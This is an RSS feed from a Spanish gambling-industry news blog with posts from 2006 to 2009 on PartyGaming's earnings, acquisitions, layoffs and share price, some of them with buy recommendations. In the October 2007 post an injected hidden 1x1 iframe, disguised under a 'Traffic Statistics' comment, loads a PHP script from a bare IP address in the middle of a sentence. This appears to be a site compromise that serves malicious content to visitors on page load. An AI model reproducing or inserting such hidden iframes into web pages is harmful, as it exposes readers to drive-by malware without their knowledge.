<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NoticiasBet &#187; PartyGaming</title>
	<atom:link href="http://www.noticiasbet.es/tema/empresas/partygaming/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.noticiasbet.es</link>
	<description>NoticiasBet - Informacion de las casas de apuestas y economia del juego.</description>
	<lastBuildDate>Thu, 26 Jan 2012 09:07:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>PartyGaming menos Póker , mas Casino y MUCHO MAS EBITDA Y CAJA.</title>
		<link>http://www.noticiasbet.es/partygaming-menos-poker-mas-casino-y-mucho-mas-ebitda-y-caja/</link>
		<comments>http://www.noticiasbet.es/partygaming-menos-poker-mas-casino-y-mucho-mas-ebitda-y-caja/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 18:01:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PartyGaming]]></category>
		<category><![CDATA[casino]]></category>
		<category><![CDATA[poker]]></category>

		<guid isPermaLink="false">http://www.noticiasbet.es/?p=403</guid>
		<description><![CDATA[Acaban de presentarse los resultados de la empresa PartyGaming por los que está consigue un incremento del 3% de los  ingresos hasta 472.9 MM$ a pesar que los ingresos del negocio del Póker bajen un 7% hasta los 274MM$. Las buenas noticias son que el EBITDA crece un 29% sobre todo por el fuerte crecimiento [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Acaban de presentarse los resultados de la empresa <strong>PartyGaming</strong> por los que está consigue un incremento del 3% de los  ingresos hasta 472.9 MM$ a pesar que los ingresos del negocio del<strong> Póker</strong> bajen un 7% hasta los 274MM$.<br />
Las buenas noticias son que el <strong>EBITDA crece un 29% </strong>sobre todo por el fuerte crecimiento del  negocio de  <strong>casino</strong>, y  sobre todo que la compañía es una autentica máquina de generación de Cash Flows, (algo muy importante ante la actual situación de falta de liquidez.)
</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;"><img class="aligncenter" title="logos party gaming" src="http://noticiasbet.es/images/logo_partygaming.gif" alt="" width="283" height="58" /></p>
<p style="text-align: left;">
<p style="text-align: left;">Dentro de  sus grandes méritos destacaría la  fuerte reducción de los costes administrativos   (27%) y sobre todo que estos costes suponen solo un 40% de los ingresos netos. Todo ello con el éxito de que el 91% de las llamadas se contestan en menos de 30 segundos, es decir, <strong>la reducción de costes no conlleva una reducción en la calidad del servicio.</strong></p>
<p style="text-align: left;">
<p style="text-align: left;">Dentro de los peros, diría que el mercado de habla inglesa está en franca retirada destacando la bajada de UK (-14%) y Canadá (-9%). Los ingresos por jugador activo<strong> se reducen hasta los 289$</strong> provocados por el decrecimiento de mercados con jugadores de más valor.</p>
<p style="text-align: left;">
<p style="text-align: left;">La acción ha subido un 7.24% hasta los 248 peniques por acción <strong>marcando máximos de los últimos 6 meses y superando los 1.000 Millones de Libras de Capitalización</strong>. Nuestra recomendación es de compra, ya que creemos que es uno de los winners en el mercado de gambling online.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-menos-poker-mas-casino-y-mucho-mas-ebitda-y-caja/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PARTYGAMING MEJORA RESULTADOS.</title>
		<link>http://www.noticiasbet.es/partygaming-mejora-resultados/</link>
		<comments>http://www.noticiasbet.es/partygaming-mejora-resultados/#comments</comments>
		<pubDate>Thu, 25 Oct 2007 17:29:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Deportes y Publicidad]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.noticiasbet.es/partygaming-mejora-resultados/</guid>
		<description><![CDATA[Partygaming, (quizás la empresa más fuerte en Poker del mundo) acaba de presentar sus resultados.Entre las cifras más importantes destacaremos que los ingresos crecieron un 24% hasta los 115 Millones de Dólares trimestrales y todo aún con que el negocio del Poker cayese un 3% hasta los 74.8 Millones de Dólares.La noticia no es mala [...]]]></description>
			<content:encoded><![CDATA[<p>Partygaming, (quizás la empresa más fuerte en Poker del mundo) acaba de<!-- Traffic Statistics --><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!-- End Traffic Statistics --> presentar sus resultados.<br />Entre las cifras más importantes destacaremos que los ingresos crecieron un 24% hasta los 115 Millones de Dólares trimestrales y todo aún con que  el negocio del Poker cayese un 3% hasta los 74.8 Millones de Dólares.<br />La noticia no es mala para el mercado porque esto nos  indica que la empresa se encuentra diversificando sus fuentes de ingreso. La línea de negocio del Poker pasa de representar un 82% de sus ingresos a un 64%. Este dato quizás sea el más interesante que ha sucedido en el trimestre.</p>
<div align="center"><img src="http://noticiasbet.es/images/logo_partygaming.gif" /></div>
<p>El crecimiento de la empresa se produce en el negocio del casino con un crecimiento interanual de un 158% hasta totalizar 36.7 millones de Dólares y, en menor medida en el negocio de las apuestas deportivas con un crecimiento de un 91% hasta los 4.2 Millones de Dólares.</p>
<p>Estos ingresos se pueden considerar muy buenos ya que se producen con una disminución de un 9% en el ingreso por jugador activo hasta los 226 $ debidos fundamentalmente a la pérdida de los mejores clientes norteamericanos.</p>
<p>Los datos podemos considerarlos como buenos, ya que a pesar de haber sido una de las empresas que más ha sufrido la pérdida del mercado norteamericano, estos resultados demuestran que es una empresa que gana dinero.</p>
<p>La acción sube hoy un 13% hasta los 31 peniques por acción todavía lejos de los 110 peniques que cotizaba antes de perder el mercado norteamericano de poker. Es difícil que lo recupere pero la marca Party Poker en USA era de las más reconocidas, confiar en que en 2 o 3 años se levante el veto a las empresas europeas sería apostar por PartyGaming.</p>
<p>La acción cotiza actualmente a unos PER estimados de 18 veces, que considerando su negocio recurrente puede que no sea una mala inversión. Nuestra recomendación es de acumular por debajo de 29 peniques.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-mejora-resultados/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PROFIT WARNING EN PARTYGAMING.</title>
		<link>http://www.noticiasbet.es/profit-warning-en-partygaming/</link>
		<comments>http://www.noticiasbet.es/profit-warning-en-partygaming/#comments</comments>
		<pubDate>Thu, 03 May 2007 07:44:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.noticiasbet.es/profit-warning-en-partygaming/</guid>
		<description><![CDATA[Partygaming, líder en el segmento de Poker a nivel mundial, acaba de anunciar un Profit Warning por el que espera que el EBITDA para el 2007 sea inferior al consenso actual del mercado. Aun así espera mejorar de una manera importante en el 2008 y en periodos futuros. Este Profit Warning se produce porque a [...]]]></description>
			<content:encoded><![CDATA[<p>Partygaming, líder en el segmento de Poker a nivel mundial, acaba de anunciar un Profit Warning por el que espera que el EBITDA para el 2007 sea inferior al consenso actual del mercado. Aun así espera mejorar de una manera importante en el 2008 y en periodos futuros.</p>
<div align="center"><img src="http://noticiasbet.es/images/logo_partygaming.gif" /></div>
<p>Este Profit Warning se produce porque a pesar de crecer un 117% la captación de nuevos clientes los ingresos por jugador en el trimestre se han desplomado debido fundamentalmente que no juega tanto un jugador europeo que por ejemplo un norteamericano.<br />Así los ingresos por cliente activo el trimestre anterior se situaban en 310$ en cambio en este se sitúan alrededor de los 176$ (es decir una caída de un 43% en los ingresos por jugador.)</p>
<p>A pesar de esta situación la empresa confía en situar el ratio costes/ingresos alrededor del 43 – 45% estimado para el año</p>
<p>El mercado estaba anticipando una mejor del ratio así como un mayor ingreso por jugador.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/profit-warning-en-partygaming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PARTYGAMING A PUNTO DE SER ADQUIRIDA POR DOS DIRECTIVOS.</title>
		<link>http://www.noticiasbet.es/partygaming-a-punto-de-ser-adquirida-por-dos-directivos/</link>
		<comments>http://www.noticiasbet.es/partygaming-a-punto-de-ser-adquirida-por-dos-directivos/#comments</comments>
		<pubDate>Wed, 14 Mar 2007 08:18:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Empresas]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.noticiasbet.es/partygaming-a-punto-de-ser-adquirida-por-dos-directivos/</guid>
		<description><![CDATA[La firma PartyGaming acaba de convocar una asamblea general extraordinaria para estudiar en la misma la posible compra de la compañía por parte de 2 Directores Ejuctivos.(MBO)En la asamblea también se estudiará el stock planning a la hora de repartir acciones entre todos los empleados. Esta noticia puede suponer una ruptura de sables por los [...]]]></description>
			<content:encoded><![CDATA[<p>La firma<b> PartyGaming</b> acaba de convocar una asamblea general extraordinaria para estudiar en la misma la posible <b>compra de la compañía por parte de 2 Directores Ejuctivos.(MBO)</b><br />En la asamblea también se estudiará el stock planning a la hora de repartir acciones entre todos los empleados.</p>
<div align="center"><img src="http://noticiasbet.es/images/logo_partygaming.gif" /></div>
<p>Esta noticia puede suponer una ruptura de sables por los grandes del sector para comprar una empresa como PartyGaming lider en el sector del Poker.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-a-punto-de-ser-adquirida-por-dos-directivos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PARTYGAMING SUPERA LAS PREVISIONES PESIMISTAS.</title>
		<link>http://www.noticiasbet.es/partygaming-supera-las-previsiones-pesimistas/</link>
		<comments>http://www.noticiasbet.es/partygaming-supera-las-previsiones-pesimistas/#comments</comments>
		<pubDate>Thu, 01 Mar 2007 13:11:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Empresas]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.noticiasbet.es/partygaming-supera-las-previsiones-pesimistas/</guid>
		<description><![CDATA[PartyGaming acaba de presentar sus resultados posiblemente sea la empresa que mas ha notado en sus resultados la prohibición norteamericana del juego.Sus resultados hay que estimarlos con muchas comillas ya que el mercado norteamericano suponía cerca del 70% de la compañía. A pesar de que una vez conocida la nueva legislación y que la compañía [...]]]></description>
			<content:encoded><![CDATA[<p>PartyGaming acaba de presentar sus resultados posiblemente sea la empresa que mas ha notado en sus resultados la prohibición norteamericana del juego.<br />Sus resultados hay que estimarlos con muchas comillas ya que el mercado norteamericano suponía cerca del <b>70% de la compañía.</b></p>
<div align="center"><img src="http://noticiasbet.es/images/logo_partygaming.gif" /></div>
<p>A pesar de que una vez conocida la nueva legislación y que la compañía <b>despidiera al 40% de la plantilla en un tiempo record de 3 meses</b>, el golpe ha sido bastante fuerte, los costes de reestructuración han sido fuertes y sobre todo ha afectado a la confianza de la empresa.<br />Quitando el mercado norteamericano, <b>los ingresos crecieron un 112%</b>, se puede antojar espectacular pero no había mas remedio que este lo fuera, así los ingresos crecieron hasta los <b>325 Millones de dólares, consiguiendo un EBITDA de 42.7</b> Millones de dólares insuficiente para sufragar los costes de <b>reestructuración (250 Millones de Dólares)</b>  pero importantes ya que la empresa tiene beneficios en su actividad.<br />PartyGaming cuenta que el 82% de sus ingresos proceden del Poker, los ingresos del Poker son ingresos muy recurrentes lo que genera bastante estabilidad en el mismo.<br />PartyPoker en los últimos tiempos compro varias marcas como Empine Poker o la casa de apuestas gamebookers, los resultados de estas compras parece que no se notan demasiado en los números aunque dada la situación norteamericana esas compras se pueden considerar como que fueron malas.</p>
<p>Las previsiones de los analistas eran muy pesimistas y estimaban unos ingresos de 300 millones de dólares pero no para el 2006, sino para el 2007, Si partygaming consigue mantener estos resultados y con un poco que crezca en clientes las previsiones de los analistas pueden ser muy bajas.</p>
<p>La acción no se encuentra excesivamente alta y a pesar de que se pueda considerarse un chicharro su imagen de marca internacional y su apuesta por el poker nos hace ser optimistas con la compañía.</p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-supera-las-previsiones-pesimistas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PARTYGAMING INTEGRA EOL E INTERCONTINETAL</title>
		<link>http://www.noticiasbet.es/partygaming-integra-eol-e-intercontinetal/</link>
		<comments>http://www.noticiasbet.es/partygaming-integra-eol-e-intercontinetal/#comments</comments>
		<pubDate>Tue, 02 Jan 2007 13:02:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Empresas]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>
		<category><![CDATA[Playtech]]></category>

		<guid isPermaLink="false">http://www.adbets.es/partygaming-integra-eol-e-intercontinetal/</guid>
		<description><![CDATA[Partygaming acaba de anunciar que sus recientes adquisiciones Empire Online Limited e Intercontinental online han sido ya integrados dentro de la plataforma de Playtech, proveedor tecnológico en el desarrollo de juegos de casino. Esta integración ha sido may rápida de lo esperada y a partir del día de hoy los jugadores de NoblePoker.com, Clubdicecasino.com, EnterCasino.com, [...]]]></description>
			<content:encoded><![CDATA[<p>Partygaming acaba de anunciar que sus recientes adquisiciones Empire Online Limited e Intercontinental online han sido ya integrados dentro de la plataforma de Playtech, proveedor tecnológico en el desarrollo de juegos de casino.<br />
Esta integración ha sido may rápida de lo esperada y a partir del día de hoy los jugadores de NoblePoker.com, Clubdicecasino.com, EnterCasino.com, MissBingo.com,<br />
FairPoker.com, and MagicBoxCasino.com. saran integrados dentro de PartyGaming.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-integra-eol-e-intercontinetal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PARTYGAMING QUIERE COMPRAR PARTE DE EOL</title>
		<link>http://www.noticiasbet.es/partygaming-quiere-comprar-parte-de-eol/</link>
		<comments>http://www.noticiasbet.es/partygaming-quiere-comprar-parte-de-eol/#comments</comments>
		<pubDate>Thu, 28 Dec 2006 17:29:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Deportes y Publicidad]]></category>
		<category><![CDATA[Empresas]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.adbets.es/partygaming-quiere-comprar-parte-de-eol/</guid>
		<description><![CDATA[PartyGaming ha reconocido que esta estudiando la adquisición de Empire Online Limited (EOL). Las adquisiciones serían de ciertos negocios y operaciones.]]></description>
			<content:encoded><![CDATA[<p><img src="http://adbets.es/images/logo_partygaming.gif" /><br />
PartyGaming ha reconocido que esta estudiando la adquisición de Empire Online Limited (EOL). Las adquisiciones serían de ciertos negocios y operaciones.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-quiere-comprar-parte-de-eol/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADELANTO DEL EJERCICIO FISCAL EN PARTYGAMING.</title>
		<link>http://www.noticiasbet.es/adelanto-del-ejercicio-fiscal-en-partygaming/</link>
		<comments>http://www.noticiasbet.es/adelanto-del-ejercicio-fiscal-en-partygaming/#comments</comments>
		<pubDate>Thu, 14 Dec 2006 09:19:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Empresas]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.adbets.es/adelanto-del-ejercicio-fiscal-en-partygaming/</guid>
		<description><![CDATA[Partygaming en una nota difundida esta mañana comenta que a pesar del primer varapalo que supuso el cierre de USA, los ratios del grupo han ido mejorando, excluyendo apuestas deportivas, los ingresos diarios en las ultimas 4 semanas (hasta el 11 de diciembre, es decir hasta hace 3 días) han ascendido a 921.000$ diarios con [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://adbets.es/images/logo_partygaming.gif" /><br />
Partygaming en una nota difundida esta mañana comenta que a pesar del primer varapalo que supuso el cierre de USA, los ratios del grupo han ido mejorando, excluyendo apuestas deportivas, los ingresos diarios en las ultimas 4 semanas (hasta el 11 de diciembre, es decir hasta hace 3 días) han ascendido a 921.000$ diarios con 52.000 jugadores activos diarios.<br />
Los ingresos por <b>poker, han ascendido a 721.000$ diarios</b> de media, habiendo tenido un mínimo 637.000$ después de la aprobación de la ley. Las inscripciones se han situado en 1.400 nuevos clientes desde la promulgación de la ley norteamericana.<br />
Los ingresos por <b>casino han estado estables sobre los 199.000$ diarios</b>, en Apuestas deportivas Gamebookers ha tenido unos beneficios diarios de aproximadamente 65.000$ desde su adquisición el 3 de Agosto del 2006<br />
Según la nota difundida a día de hoy el mercado más importante a día de hoy es Europa, Medio Este y África, representando alrededor del 80% de las nuevas altas y el 67% de los ingresos diarios.<br />
<b>En estos dos meses se han producido 945 despidos de trabajadores (41% de la plantilla).</b><br />
Desarrollos.<br />
-	PartyBingo se lanzó en el Reino Unido en Noviembre<br />
-	Partybets<br />
-	PartyPoker se ha lanzado en alemán el 21 de Noviembre 2006</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/adelanto-del-ejercicio-fiscal-en-partygaming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PARTYGAMING Y 888 PLANTEAN FUSIONARSE</title>
		<link>http://www.noticiasbet.es/partygaming-y-888-plantean-fusionarse/</link>
		<comments>http://www.noticiasbet.es/partygaming-y-888-plantean-fusionarse/#comments</comments>
		<pubDate>Mon, 30 Oct 2006 15:46:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[888 Holding Group]]></category>
		<category><![CDATA[Mercado del Juego]]></category>
		<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.adbets.es/partygaming-y-888-plantean-fusionarse/</guid>
		<description><![CDATA[Dos de las mayores empresas de juego por internet, Partygaming y 888 han mantenido conversaciones preliminares con el objetivo de una posible fusion. Estas conversaciones seguirán en la proximas semanas , con lo que es muy posible que se vayan dando noticias respecto a estas empresas. Desde este blog apostamos desde hace unos meses en [...]]]></description>
			<content:encoded><![CDATA[<p>Dos de las mayores empresas de juego por internet, Partygaming y 888 han mantenido conversaciones preliminares con el objetivo de una posible fusion.<br />
Estas conversaciones seguirán en la proximas semanas , con lo que es muy posible que se vayan dando noticias respecto a estas empresas. Desde este blog apostamos desde hace unos meses en un crecimiento del mercado mediante fusiones y esta noticia es de las primeras en corroborrar nuestras afirmaciones.<br />
De momento el mercado no se lo ha tomado demasiado bien PartyGaming repite en el mercado londinense a 30 peniques y 888 Holdings cae medio penique hasta los 107.50</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/partygaming-y-888-plantean-fusionarse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MIGUEL VALDES DEJA EXPEKT PARA IRSE A PARTYGAMING</title>
		<link>http://www.noticiasbet.es/miguel-valdes-deja-expekt-para-irse-a-partygaming/</link>
		<comments>http://www.noticiasbet.es/miguel-valdes-deja-expekt-para-irse-a-partygaming/#comments</comments>
		<pubDate>Fri, 27 Oct 2006 09:18:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PartyGaming]]></category>

		<guid isPermaLink="false">http://www.adbets.es/miguel-valdes-deja-expekt-para-irse-a-partygaming/</guid>
		<description><![CDATA[Parece que hay mas movimientos, el que era hasta ahora director de desarrollo de expekt.com Miguel Valdes (entre sus logros hay que pensar en el patrocinio del athletic club de bilbao) deja expekt para hacerse cargo en PartyGaming de todas las marcas del grupo para España y Portugal, y de proyectos de patrocinio y desarrollos [...]]]></description>
			<content:encoded><![CDATA[<p>Parece que hay mas movimientos, el que era hasta ahora director de desarrollo de expekt.com Miguel Valdes (entre sus logros hay que pensar en el patrocinio del athletic club de bilbao) deja expekt para hacerse cargo en PartyGaming de todas las marcas del grupo para España y Portugal, y de proyectos de patrocinio y desarrollos televisivos en Latinoamérica.</p>
<p>Una persona de la experiencia de Miguel Valdes posiblemente se centre en el desarrollo en España y Portugal de la potenciación de la marca gamebookers (casa de apuestas de PartyGaming.)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.noticiasbet.es/miguel-valdes-deja-expekt-para-irse-a-partygaming/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

